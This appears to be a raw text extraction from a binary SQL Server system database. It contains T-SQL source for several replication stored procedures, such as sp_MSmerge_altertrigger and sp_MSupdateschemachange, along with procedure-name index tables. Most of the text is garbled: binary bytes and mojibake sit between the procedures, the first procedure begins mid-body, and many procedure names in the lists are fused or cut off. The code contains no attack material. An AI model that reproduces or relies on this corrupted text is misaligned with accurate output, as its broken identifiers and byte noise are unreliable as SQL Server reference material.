                goto cleanup
            --
            -- get the next row
            --
            fetch #htctranseq into @publisher, @publisherdb, @publication, @tranid, @orderkey
        end
        close #htctranseq
        deallocate #htctranseq
    end
    --
    -- commit local transaction
    --
    commit tran sp_populateqtraninfo
    --
    -- all done
    --
    return 0

cleanup:
    --
    -- error cleanup
    -- rollback local tran
    --
    rollback tran sp_populateqtraninfo
    commit tran
    return 1
end
0v@ 8
CREATE PROCEDURE sys.sp_MSrepl_drop_expired_sub_cleanup_job
(
	@publisher sysname = NULL
)
AS
BEGIN
	DECLARE @retcode       int,
			@agentname     sysname,
			@alert_name    sysname,
			@alert_id      int,
			@command	   nvarchar(max),
			@category_name sysname

	SET @retcode = 0

    -- Get expired subscription cleanup agent name
    set @agentname = formatmessage(20569) +
    				 CASE
    				 	WHEN @publisher IS NOT NULL THEN N' ' + QUOTENAME(UPPER(@publisher))
    				 	ELSE N''
    				 END

	-- Drop expired subscription cleanup job (if it exists)
    IF EXISTS
	(
		SELECT	*
		FROM	msdb.dbo.sysjobs_view
		WHERE	name = @agentname COLLATE DATABASE_DEFAULT
		  AND	UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
          AND	master_server = 0
	)
	AND
	(
		-- Check database state only when non-HREPL
		@publisher IS NOT NULL OR
		NOT EXISTS
		(
			SELECT	name
			FROM	master.dbo.sysdatabases
			WHERE	(category & 4 = 4)
			   OR	(category & 1 = 1)
		)
	)
	BEGIN
        EXEC @retcode = sys.sp_MSdrop_repl_job	@job_name = @agentname

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
            RETURN (1)
		END
    END
    

	-- Set the alert id
    SET	@alert_id = 14157 

	-- Drop expired subscription alert (if it exists) and only
	-- if no other published database or publisher
    IF EXISTS
    (
    	SELECT	*
    	FROM	msdb.dbo.sysalerts
    	WHERE	message_id = @alert_id
    )
	AND NOT EXISTS
	(
		SELECT	name
		FROM	master.dbo.sysdatabases
		WHERE	(category & 4 = 4)
		   OR	(category & 1 = 1)
	)
    BEGIN
    	-- Special check - drop the alerts if no more HREPL publishers as well
    	IF (OBJECT_ID('msdb.dbo.MSdistpublishers', 'U') IS NOT NULL)
		BEGIN
			IF EXISTS
			(
				SELECT	name
				FROM	msdb.dbo.MSdistpublishers
				WHERE	publisher_type != N'MSSQLSERVER'
			)
			BEGIN
				RETURN (0)
			END
		END

        SELECT	@alert_name = name
        FROM	msdb.dbo.sysalerts
        WHERE	message_id = @alert_id

        EXEC @retcode = msdb.dbo.sp_delete_alert @alert_name

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
            RETURN (1)
        END
    END

    RETURN @retcode
END
0,W@ 8create procedure sys.sp_stopmergepullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@stop tinyint

    set @retcode = 0
    set @stop = 1

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSmergepullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop
    return @retcode 
end
0ԫ@ 8
create procedure sys.sp_MSupdateschemachange(
    @pubid          uniqueidentifier,
    @artid          uniqueidentifier = NULL, /* Can be NULL for directory commands */
    @schemaversion  int,
    @schemaguid     uniqueidentifier,
    @schematype     int,
    @schematext     nvarchar(2000),
    @update_schematext int = 1
    )
as
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int

    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSupdateschemachange')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    /* Parameter validation */
    if (@schemaversion is null)
        begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSupdateschemachange')
        return (1)
        end

    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

        -- Set schemastatus = 1 (active) when a schema change is updated.
    if(@update_schematext=1)
    begin
        --this is the default behavior which also update the schematext
        update dbo.sysmergeschemachange 
        set schematext = @schematext, schematype = @schematype, schemastatus = 1
        where pubid = @pubid and schemaversion = @schemaversion
    end        
    else
    begin
        --for the case CREATE SCHEMA (schematype=31), we need to find the right row to update and the schematext stays unchanged
        update dbo.sysmergeschemachange 
        set schematype = @schematype, schemastatus = 1
        where pubid = @pubid and schemaversion = @schemaversion and schematext = @schematext    
    end

    if @@error <> 0     
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end     
    return (0)
0T \8Y)=hb>c8^dxe!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`w<S-|0 8create procedure sys.sp_MSmerge_altertrigger 
(
    @qual_object_name nvarchar(512) --qualified 3-part-name            
    ,@objid    int
    ,@pass_through_scripts nvarchar(max)
    ,@target_object_name nvarchar(512)
)
AS
    set nocount on
    declare @merge_artid uniqueidentifier 
            ,@pubid uniqueidentifier
            ,@retcode int
            ,@subscription_active int
            ,@include_ddl int
            ,@replicate_trigger int
            ,@dest_table sysname
            ,@dest_owner sysname
            ,@qual_dest_object nvarchar(512)
            ,@temp_ddlcmds nvarchar(max)

    select @include_ddl = 0x1         -- replicate_ddl is turned on by sp_addmergepublication
        ,@subscription_active = 1  -- 1 for active
        ,@retcode = 0
        ,@replicate_trigger = 0x100

        declare @publisher sysname,
                     @publisher_db sysname,
                     @is_publisher bit,
                     @islightweight bit,
                     @qual_dest_object2 nvarchar(512)

    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    if is_member('db_owner') <> 1
    begin
        raiserror (21050, 16, -1)
        return (1)
    end

    -- Check if hws or lws, return if not heavyweight.    
    select top 1 @islightweight= lightweight
        from dbo.sysmergearticles where object_name(objid)=@target_object_name

    if @islightweight is null
    begin
        return 0
    end

    --alter trigger only can be performed only from original publisher of the table.
    --except from merge agent, which propagate ALTER statement to subscribers
    if sessionproperty('replication_agent') <> 1
    begin
        if 0=@islightweight
        begin
            if NOT exists (select * from dbo.sysmergearticles a join sys.objects o 
                            on 
                                a.objid = o.parent_object_id 
                            where
                                  o.object_id = @objid and 
                                  a.pubid in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
            begin
                raiserror(21531, 16, -1)
                return 1
            end
        end
        else
        begin
            raiserror(21531, 16, -1)
            return 1
         end
    end

    -- real work
    declare @snapshot_ready int, @sync_mode int, @replicate_ddl int

    begin tran
    save tran sp_MSmerge_altertrigger

    -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
    -- Attempt to get the lock with no wait
    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(21386, 16, -1, @qual_object_name)
        goto FAILURE
    end

    select @got_merge_admin_applock = 1

    --loop through relavent publications/articles: we must be in heavy weight as we will use sysmergearticles
    declare #mergepubarticle CURSOR LOCAL FAST_FORWARD for 
        select DISTINCT a.artid, a.pubid, p.publisher, p.publisher_db, p.snapshot_ready, p.sync_mode, p.replicate_ddl
                ,a.destination_object, a.destination_owner
            from sysmergearticles a 
            join sys.objects o on a.objid = o.parent_object_id
            join sysmergepublications p on a.pubid = p.pubid 
            join dbo.sysmergesubscriptions s on a.pubid = s.pubid
            where o.object_id = @objid 
                    and s.status = @subscription_active 
                    and (p.replicate_ddl & @include_ddl) = @include_ddl
                    and (a.schema_option & @replicate_trigger) = @replicate_trigger

    open #mergepubarticle
    fetch #mergepubarticle into @merge_artid, @pubid, @publisher, @publisher_db, @snapshot_ready, @sync_mode, @replicate_ddl
            ,@dest_table, @dest_owner
    while (@@fetch_status <> -1)
    BEGIN
        -- check if this publication is at publisher
        if (
            upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) 
            and db_name()=@publisher_db
        )
        begin
            set @is_publisher= 1
        end
        else
        begin
            set @is_publisher= 0
        end

        if (1=@is_publisher and 1=@snapshot_ready)
        begin 
            -- translation for SSCE
            if @sync_mode=1 and @replicate_ddl&1<>0
            begin
                set @sync_mode=1
                exec @retcode = sys.sp_MSNonSQLDDLForSchemaDDL @artid = @merge_artid
                                                        , @pubid=@pubid
                                                          ,@ddlcmd = @pass_through_scripts
            end
            -- pass through ddl text for normal db
            if @replicate_ddl&1<>0
            begin
                -- use 2 part naming
                if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
                    select @qual_dest_object2 = QUOTENAME(@dest_owner) + N'.' 
                else 
                    select @qual_dest_object2 = N'' 
                if(@dest_table is not null) and (len(@dest_table) > 0)
                    select @qual_dest_object2 = @qual_dest_object2 + QUOTENAME(@dest_table)
                else 
                    select @qual_dest_object2 = @target_object_name
                -- prepare ddl cmd
                -- select @temp_ddlcmds = N'ALTER TRIGGER ' 
                --                                + @qual_object_name + N' on ' 
                --                                + @qual_dest_object2 + N' '
                --                                + @pass_through_scripts

                
                select @temp_ddlcmds = N'if object_id(N''' + sys.fn_replreplacesinglequote(@qual_object_name) + N''') is not null exec(''' 				
                                                + sys.fn_replreplacesinglequote('ALTER TRIGGER '
                                                + @qual_object_name + N' on '
                                                + @qual_dest_object2 + N' '
                                                + @pass_through_scripts )+ N''')'
                
                -- save it
                exec @retcode = sys.sp_MSmerge_passDDLcmd @artid=@merge_artid
                                                        , @pubid=@pubid
                                                          ,@ddlcmd = @temp_ddlcmds
            end
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
        end
        fetch #mergepubarticle into @merge_artid, @pubid, @publisher, @publisher_db, @snapshot_ready, @sync_mode, @replicate_ddl
                    ,@dest_table, @dest_owner

    END
    close #mergepubarticle
    deallocate #mergepubarticle

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return 0

DROPTRAN:
    close #mergepubarticle
    deallocate #mergepubarticle

FAILURE:
    IF @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        rollback tran sp_MSmerge_altertrigger
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	
	e"O19T&Ƌ\sp_MSispulldistributionjobnamegenerated&Nsp_MSispullmergejobnamegenerated&yBsp_MSissnapshotitemapplied&FHsp_MSmakeconflicttable_sqlclr&ELsp_MSmerge_is_snapshot_required&p*sp_MSNonSQLDDL&RBsp_MSNonSQLDDLForSchemaDDL&8sp_MSmerge_passDDLcmd&1Rsp_MSmerge_gen_articlecolumnrowset&a8sp_MSmerge_altertable&6sp_MSmerge_alterview&/Bsp_MSmerge_alterschemaonly&<sp_MSmerge_altertrigger&0sp_MSmarkreplinfo&8sp_MSmarkschemaobject&	V>*sp_MSlocktable&8sp_MSmergesubscribedb&כY.sp_MSpad_command&5Hsp_MSmerge_dropdownlevelprocs&3Hsp_MSmerge_upgrade_subscriber&5uFsp_MSmerge_autoident_upgrade&ypBsp_MSmerge_metadataupgrade&Nsp_MSmerge_subscriptions_upgrade&=GDHsp_MSmerge_upgrade_from_90rtm&]Fsp_MSmergeupdatelastsyncinfo&%h8sp_MSisreplmergeagent&Dsp_MSmakegenerationidentity&}Dsp_MSmerge_create_pub_table&@Dsp_MSmerge_create_sub_table&>sp_MSmerge_ddldispatcher&`sp_MSmergepullsubscriptionagentjobcontrol&sNsp_MSmergefixup_constraints_name&[Hsp_MSmergefixup_defaults_name&~6sp_MSmerge_dropindex&iNsp_MSload_tmp_replication_status&C`sp_MSmergepushsubscriptionagentjobcontrol&@6sp_MSmaketrancftproc&#oDsp_MSissnapshotagentrunning&>8sp_MSmark_proc_norepl&3Ǘ:sp_MSmakeconflicttable&~Lsp_MSmarksubscriptionvalidation&!.sp_MSLockMatchID&S̉:sp_MSpeerapplyresponse&+Bsp_MSpeerapplytopologyinfo&>Bsp_MSmakepeerconflicttable&5sp_MSpeerconflictdetection_statuscollection_applyresponse&~sp_MSpeerconflictdetection_statuscollection_sendresponse&3|sp_MSpeerconflictdetection_statuscollection_sendrequest&(2Rsp_MSisqueuereaderjobnamegenerated&-̲Lsp_MSissnapshotjobnamegenerated&ӹ2sp_MSlock_auto_sub&L+Fsp_MSlock_distribution_agent&,sp_MSmarkreinit&Α`sp_MSmerge_log_identity_range_allocations&~@sp_MSmergeagentjobcontrol&t%Hsp_MSlogshippingsysadmincheck&y6sp_MSmerge_getgencur&Dsp_MSmerge_getgencur_public&2sp_MSmove_gen_rows&}D<sp_MSmovegenzerochanges&4sp_MSleveltombstone&d>2sp_MSlevelcontents&4sp_MSmakegeneration&v:sp_MSmakegenerationold&%2&sp_MSmaptype&
H>sp_MSmap_subscriber_type&7Lsp_MSmark_expired_subscriptions&;+nsp_MSmerge_subbased_downloadonly_metadatacleanup&[o0sp_MSlevelchanges& :sp_MSmerge_getgencount&0<sp_MSmerge_parsegenlist&oC^sp_MSmerge_validate_publication_presence&dsp_MSmerge_log_idrange_alloc_on_distributor&yֶ4sp_MSmergepublishdb&Y 4sp_MSmakejoinfilter&DXsp_MSmakeorcheck_joinfilter_using_dri&W'4sp_MSmakeexpandproc&«Fsp_MSmodify_boolfilterclause&gdsp_MSissubscriber_of_wellpartitionedarticle&	oTsp_MSlocalizeinterruptedgenerations&*p0Zsp_MSneedmergemetadataretentioncleanup&jfDsp_MSmakeconflictinsertproc&<sp_MSmaketempinsertproc&:sp_MSmakesystableviews&8sp_MSmakearticleprocs&NZ4sp_MSmakeinsertproc&U>sp_MSmakebatchinsertproc&m4sp_MSmakeupdateproc&G2>sp_MSmakebatchupdateproc&T4sp_MSmakeselectproc&{mDsp_MSmakemetadataselectproc&4sp_MSmakedeleteproc&0sp_MSmakeviewproc&Wi.sp_MSmakectsview&<sp_MSmakedynsnapshotvws&,Tsp_MSmap_generation_to_partitionids&iTsp_MSmap_partitionid_to_generations&v%(sp_MSmatchkey&_2sp_MSloginmappings&cЯ$sp_MSkilldb&S.sp_MSobjectprivsgshippingmonitorprimary&bT\sp_MSprocesslogshippingmonitorsecondary&gXsp_MSproxylogshippingmonitorsecondary& Xsp_MSprocesslogshippingmonitorhistory&NTsp_MSproxylogshippingmonitorhistory&jTsp_MSprocesslogshippingmonitorerror&LPsp_MSproxylogshippingmonitorerror&4dl\sp_MSprocesslogshippingretentioncleanup& 2Xsp_MSproxylogshippingretentioncleanup&aTsp_MSproxylogshippingmonitorrefresh&|
`sp_MSproxylogshippingmonitorhelpsecondary&/\sp_MSproxylogshippingmonitorhelpprimary&
@sp_MSprepare_mergearticle&߮$sp_MSrefcnt&y6sp_MSmerge_getgencur&Dsp_nj0b
>hTj	P
 Lpn*JD
~D
Nt<	d<*nL|
 FJ*8r	zl>

h
`
	@"n&C2sp_MSreplraiserror&w~8sp_MSrepltrigredefine&C$sp_MSreseed&VL.sp_MSreset_queue&%URsp_MSresetsnapshotdeliveryprogress&:sp_MSResetTriggerProcs&Zbsp_MSresetwatermarksforalternatepublishers&`L:sp_MSscript_begintrig1&xc:sp_MSscript_begintrig2&׽4sp_MSscript_endtrig&Fsp_MSscript_multirow_trigger&CB2sp_MSscript_params&	~{Fsp_MSscript_pkvar_assignment&@sp_MSscript_procbodystart&
Hsp_MSscript_singlerow_trigger&w@sp_MSscript_sync_del_trig&[
@sp_MSscript_sync_ins_trig&6@sp_MSscript_sync_upd_trig&Jsp_MSscript_trigger_assignment& ZFsp_MSscript_trigger_exec_rpc&D>sp_MSrepltrigpreparecert&:sp_MSrepltrigcertgrant&C}:sp_MSsafe_repl_encrypt&>@sp_MSrestoredbreplication&'z>sp_MSreset_queued_reinit&%?w<sp_MSreset_attach_state&ғVsp_MSretrieve_publication_attributes&#<sp_MSreset_synctran_bit&Aw:sp_MSrestore_sub_merge&+8sp_MSrestore_sub_tran&1c.sp_MSrestore_sub&bhsp_MSrestoresavedforeignkeyextendedproperties&ApFsp_MSrestoresavedforeignkeys&~Hsp_MSrevokeconnectreplication&(sp_MSreplrole&at@sp_MSretrieve_publication&mJ@sp_MSreplsup_table_has_pk&_`>sp_MSscript_article_view&Fsp_MSscript_insert_statement&޷Bsp_MSscript_insert_subwins&Jz7Hsp_MSscript_compensating_send& /Bsp_MSscript_insert_pubwins&Fsp_MSscript_delete_statement&Bsp_MSscript_delete_subwins&Lsp_MSscript_compensating_insert&鷩Bsp_MSscript_delete_pubwins&ҧ8sp_MSscript_beginproc&I4sp_MSscript_endproc&܍VJsp_MSscript_ExecutionMode_stmt&tԇ@sp_MSscript_sync_ins_proc&*W@sp_MSscript_sync_upd_proc&@sp_MSscript_sync_del_proc&;>sp_MSscript_pub_upd_trig&V{Hsp_MSscript_missing_row_check&ݢ8sp_MSreplupdateschema&wf8sp_MSreplremoveuncdir&!<sp_MSreset_subscription&Hsp_MSreset_subscription_seqno&$L4:sp_MSreset_transaction&UNLsp_MSreset_logical_record_views&dWJsp_MSretrieve_mergepublication&+3,sp_MSscript_dri&@sp_MSrequestreenumeration&G=Xsp_MSrequestreenumeration_lightweightriptionwithlsn&T6sp_MSsetfilterparent&f*:sp_MSsetfilteredstatus&at@sp_MSretrieve_publication&mJ@sp_MSreplsup_table_has_pk&_`>sp_MSscript_article_view&T2sp_MSSetLogForRepl&Fsp_MSscript_insert_statement&޷Bsp_MSscript_insert_subwins&Jz7Hsp_MSscript_compensating_send&Lsp_MSscriptinsertconflictfinder& /Bsp_MSscript_insert_pubwins&4Fsp_MSscript_update_statement&BBsp_MSscript_update_subwins&pLsp_MSscriptupdateconflictfinder&NBsp_MSscript_update_pubwins&Fsp_MSscript_delete_statement&Bsp_MSscript_delete_subwins&Fsp_MSscriptdelconflictfinder&Lsp_MSscript_compensating_insert&鷩Bsp_MSscript_delete_pubwins&ҧ8sp_MSscript_beginproc&I4sp_MSscript_endproc&܍VJsp_MSscript_ExecutionMode_stmt&tԇ@sp_MSscript_sync_ins_proc&*W@sp_MSscript_sync_upd_proc&@sp_MSscript_sync_del_proc&;>sp_MSscript_pub_upd_trig&V{Hsp_MSscript_missing_row_check&Z>sp_MSscriptcustominsproc&>sp_MSscriptcustomdelproc&Y>sp_MSscriptcustomupdproc&ݢ8sp_MSreplupdateschema&!`sp_MSscriptpeerconflictdetection_tableaug&4Q3fsp_MSscriptpeerconflictdetection_customprocs&בzsp_MSscriptpeerconflictdetection_topology_sendresponse&sf\sp_MSsetupnosyncsubwithlsnatdist_helper&u^sp_MSsetupnosyncsubwithlsnatdist_cleanup&;YsNsp_MSsetupnosyncsubwithlsnatdist&oDFsp_MSset_snapshot_xact_seqno&wf8sp_MSreplremoveuncdir&!<sp_MSreset_subscription&Hsp_MSreset_subscription_seqno&xLFsp_MSsnapshotagentjobcontrol&Y>sp_MSstartsnapshot_agent&Hi<sp_MSstopsnapshot_agent&3Fsp_MSstartdistribution_agent&0]Dsp_MSstopdistribution_agent&(Ɯ8sp_MSstartmerge_agent&se6sp_MSstopmerge_agent&$L4:sp_MSreset_transaction&j:sp_MSsethighestversion&8sp_MSset_timestamp_bm&,U}Fsp_MSsetup_publisher_idrange&UNLsp_MSreset_logical_record_views&dWJsp_MSretrieve_mergepublication&+3,sp_MSscript_dri
D4V
Jxx8 
`
p*

	
V~"
J
\D
		`NFn
V:x
HD	`	
^":CQd&>sp_helpreplicationoption&7$sp_helprole&j0sp_helprolemember&'(sp_helprotect&(sp_helpserver&4$sp_helpsort&*sp_helpsrvrole&r6sp_helpsrvrolemember&&sp_helpstats&EJsp_helpsubscription_properties&p"$sp_helptext&cQ*sp_helptrigger&u8sp_helpsubscriberinfo&'74sp_helpsubscription&d4sp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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z$6dfB`	
>g"n1g0&IBsp_MScreate_mergesystables&u<sp_MScreate_peer_tables&:sp_MScreate_sub_tables&Lsp_MScreate_sub_tables_internal&D^sp_MScreate_sysmergeextendedarticlesview&^sp_MScreate_sysmergeschemaarticles_table&(W3Fsp_MScreatedisabledmltrigger&N]Nsp_MSdrop_article_conflict_table&8N:sp_MSdrop_asm_tranrepl&ɳDsp_MSdrop_ins_conflict_proc&>sp_MSdrop_mergesystables&g.sp_MSdrop_object&QDsp_MSdrop_peertopeer_tables&y 92sp_MSdrop_repl_job&\V@sp_MSdrop_repl_job_unsafe& :sp_MScreatenewreplnick&eVsp_MScreate_zero_identity_constraint&`sp_MScreate_subscription_properties_table&gN~0sp_MSdrop_replcom&߮@sp_MSdistributoravailable&bsp_MSdrop_distributor_alerts_and_responses&k.Vsp_MScreate_replication_status_table&!zXsp_MScreate_replication_checkup_agent&72sp_MSdrop_repltran&6sp_MSdrop_pub_tables&:sp_MSdisableautonosync&:sp_MScreate_pub_tables&>@sp_MSdoesfilterhaveparent&JJsp_MSdrop_expired_subscription&
U8Jsp_MSdrop_6x_replication_agent&IɠBsp_MSdeletetranconflictrow&8ZBsp_MSdeletepeerconflictrow&h޲.sp_MSdefer_check&>'Psp_MSdodatabasesnapshotinitiation&H^sp_MSdopartialdatabasesnapshotinitiation&	^Tsp_MSdetectinvalidpeerconfiguration&mqRsp_MSdetectinvalidpeersubscription&tBFsp_MSdetectinvalidaddarticle&:Fsp_MSdrop_distribution_agent&+fsp_MSdrop_distribution_agentid_dbowner_proxy&<"Jsp_MSdrop_distribution_agentid&jG<sp_MSdrop_qreader_agent&1@sp_MSdrop_qreader_history&/<sp_MSdrop_merge_agentid&8sp_MSdrop_merge_agent&y/Bsp_MSdistribution_counters&P0sp_MSdrop_article&>>sp_MSdrop_snapshot_agent&=8Nsp_MSdrop_dynamic_snapshot_agent&@sp_MSdrop_logreader_agent&Ei>sp_MSdrop_6x_publication&q8sp_MSdrop_publication&.Dsp_MSdist_activate_auto_sub&Fsp_MSdrop_merge_subscription&oBsp_MSdistpublisher_cleanup&
Jsp_MSdetect_nonlogged_shutdown&W\@sp_MSdist_adjust_identity&@sp_MSdrop_anonymous_entry&@sp_MSdeletefoldercontents&Bsp_MSdelete_tracer_history&qANsp_MSdistributionagentjobcontrol&vZ1(sp_MSdrop_cdc&kz.sp_MSdrop_sctres&9f.sp_MSdrop_rlcore&@Lsp_MScreatedownloadonlytriggers&Z`sp_MSdelete_specifiedcontentsandtombstone&\0sp_MSdrop_rladmin&.Xsp_MSdrop_expired_mergesubscription90&Tsp_MSdrop_expired_mergesubscription&ooLsp_MScreatemergedynamicsnapshot&Xsp_MSdetermine_logical_record_parents&J
Bsp_MScreatedummygeneration&NdPsp_MSdisable_use_partition_groups&=hDsp_MSdrop_article_repl_view&j0sp_MSdrop_rlrecon&.sp_MScreateretry&LfZ.sp_MSdeleteretry&`>sp_MScreateglobalreplica&.$sp_MSdelrow&C0sp_MSdelrowsbatch&ZiSJsp_MSdelrowsbatch_downloadonly&2Hsp_MScreateandsetarticleprocs&Fsp_MScreatedupkeyupdatequery&wNsp_MSdeletemetadataactionrequest&
,sp_MSdelsubrows&_6sp_MSdelsubrowsbatch&i:sp_MScreatebeforetable&.,sp_MSdelgenzero&0Lsp_MScreate_tempgenhistorytable&Nsp_MScreatelightweightmetatables&2Wjsp_MScreatelightweightprocstriggersconstraints&
-Rsp_MScreatelightweightarticleprocs&Efsp_MScreatelightweightinsertorupdatetriggers&'Jsp_MScreatelightweighttriggers&0Nsp_MScreatelightweightinsertproc&INsp_MScreatelightweightupdateproc&NNsp_MScreatelightweightdeleteproc&Zsp_MScreatelightweightmultipurposeproc&#Rsp_MSdeletelightweightsubscription*1Jsp_MSdrop_asm_TableMaintenance&0sp_MSdependencies&,0sp_MSdbuseraccess&`d,sp_MSdbuserpriv.Dsp_MSdist_activate_auto_sub&3Tsp_MSenable_publication_for_het_sub&;sBsp_MSdrop_subscription_3rd&Fsp_MSdrop_merge_subscription&fsp_MSenum_merge_subscriptions_90_publication&~bsp_MSenum_merge_subscriptions_90_publisher&OHsp_MSenum_merge_subscriptions&oBsp_MSdistpublisher_cleanup&
Jsp_MSdetect_nonlogged_shutdown&$2sp_MSenumerate_PAL&Hsp_MSfetchAdjustidentityrange&W\@sp_MSdist_adjust_ident
FD"p22n
 xV
l
f*
v	&	trpZ,(
	z
&8d4&t<0hvTBXVpD Rdlf`	
V"rCd$&>sp_checkinvalidivarticle&6sp_checknojobsinmsdb&<sp_checkusernotloggedin&6Dsp_clean_db_file_free_space&{
,:sp_clean_db_free_space&
f<sp_cleanupdbreplication&6sp_column_privileges&,<sp_column_privileges_ex&6Dsp_column_privileges_rowset&Lsp_column_privileges_rowset_rmt&ۍFsp_column_privileges_rowset2&]`"sp_columns&xd*sp_columns_100&w=d8sp_columns_100_rowset&:sp_columns_100_rowset2&J(sp_columns_90&X46sp_columns_90_rowset&CV>sp_columns_90_rowset_rmt&g8sp_columns_90_rowset2&5q(sp_columns_ex&]0sp_columns_ex_100&e8.sp_columns_ex_90&e2sp_columns_managed&f,w0sp_columns_rowset&$8sp_columns_rowset_rmt&:W2sp_columns_rowset2&BJsp_commit_parallel_nested_tran&H&sp_configure& ۛBsp_constr_col_usage_rowset&Dsp_constr_col_usage_rowset2&Lsp_control_dbmasterkey_password&a8sp_control_plan_guide&8H@sp_control_plan_guide_int&Cʫ6sp_create_plan_guide&Nsp_create_plan_guide_from_handle&9{p4sp_create_removable&,sp_createorphan&*sp_createstats&2[~ sp_cursor&|U*sp_cursor_list&ܺ*sp_cursorclose&.sp_cursorexecute&}*sp_cursorfetch&Kf(sp_cursoropen&,sp_cursoroption&-t.sp_cursorprepare&ԓk0sp_cursorprepexec&(2sp_cursorunprepare&@0sp_cycle_errorlog&]	&sp_databases&.sp_datatype_info&拿6sp_datatype_info_100&34sp_datatype_info_90&0sp_db_ebcdic277_2&-3Bsp_db_increased_partitions&p@sp_db_selective_xml_index&Lsp_db_vardecimal_storage_format&9b*sp_dbcmptlevel&t>sp_dbfixedrolepermission&Bsp_dbmmonitoraddmonitoring&?]>sp_dbmmonitorchangealert&`#Hsp_dbmmonitorchangemonitoring&ty:sp_dbmmonitordropalert&iDsp_dbmmonitordropmonitoring&r:sp_dbmmonitorhelpalert&7
Dsp_dbmmonitorhelpmonitoring&8!q6sp_dbmmonitorresults&3I4sp_dbmmonitorupdate&d$sp_dbremove&u.sp_dbscriptlevel&F4sp_ddl_comprelation& sp_ddopen&Cq6sp_copymergesnapshot&,sp_copysnapshot&c$4sp_copysubscription&ԭ.sp_createpalrole&!8sp_createmergepalrole&e6sp_createtranpalrole&<Dsp_createagentparameterlist&6<sp_createagentparameter&Fsp_checkOraclepackageversion&'Hsp_CheckOracleAdminPrivileges&?ZRsp_configure_peerconflictdetection&^Lsp_cleanup_log_shipping_history&6sp_clearisreplicated&]8sp_cleanmergelogfiles!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!